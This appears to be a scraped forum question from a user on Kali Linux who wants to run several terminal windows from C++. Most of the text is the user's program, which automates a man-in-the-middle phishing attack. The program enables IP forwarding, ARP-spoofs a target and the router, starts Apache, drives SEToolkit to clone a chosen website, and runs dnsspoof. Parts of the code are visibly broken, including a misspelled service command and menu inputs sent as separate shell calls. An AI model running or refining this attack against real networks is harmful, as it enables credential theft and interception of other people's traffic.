My problem is that my code requires multiple separate windows to be running at the same time. I also have to be able to execute commands while these windows are running. The two continuously running windows are listening to LAN traffic if that has any relevance. Anyway, I am running on Kali so I can't use the ConsoleLoggerHelper files because the .h file has dependencies on windows.h, which doesn't work on Linux. Is there another way to create and run on multiple separate windows? This application is an automation of a MITM attack using Apache2, DNSspoof, ARPspoof, and SEToolkit. This Is my code so far:
#include <iostream>
#include <stdio.h>
using namespace std;
int main()
{
string site;
string s_site;
string t_ip;
string u_ip;
char yorn;
string arp_t;
string arp_r;
//Remember to put in the option the change to interface type, i.e: wlan0
string arp_s;
arp_s = "arpspoof -i eth0 -t";
string set;
set = "setoolkit";
string enable_echo;
enable_echo = "echo 1 > /proc/sys/net/ipv4/ip_forward";
string s_dns;
s_dns = "dnsspoof -i eth0 -f hosts.txt";
string enable_apache;
enable_apache = "servive apache2 start";
string router_ip;
router_ip = "192.168.1.1";
cout << "This program will perform a MITM-Phishing attack. DO you want to continue? y/n: ";
cin >> yorn;
if (yorn == 'y')
{
cout << "What is the local IP address of your target?: ";
cin >> t_ip;
cout << "What is your local IP address?: ";
cin >> u_ip;
cout << "What is the EXACT URL of the website you wish to clone?: ";
cin >> site;
cout << "what do you wish the name your spoofed website to be?: ";
cin >> s_site;
system(enable_echo.c_str());
//New window
arp_t = arp_s + " " + t_ip + " " + router_ip;
system(arp_t.c_str());
//New window
arp_r = arp_s + " " + router_ip + " " + t_ip;
system(arp_r.c_str());
//New window
system(enable_apache.c_str());
//New window
system(set.c_str());
system("1");
system("2");
system("3");
system("2");
system(u_ip.c_str());
system(site.c_str());
//New window
system(s_dns.c_str());
return 0;
}
else
{
cout << "Aborting program..." << endl;
return 0;
}
}
See Question&Answers more detail:os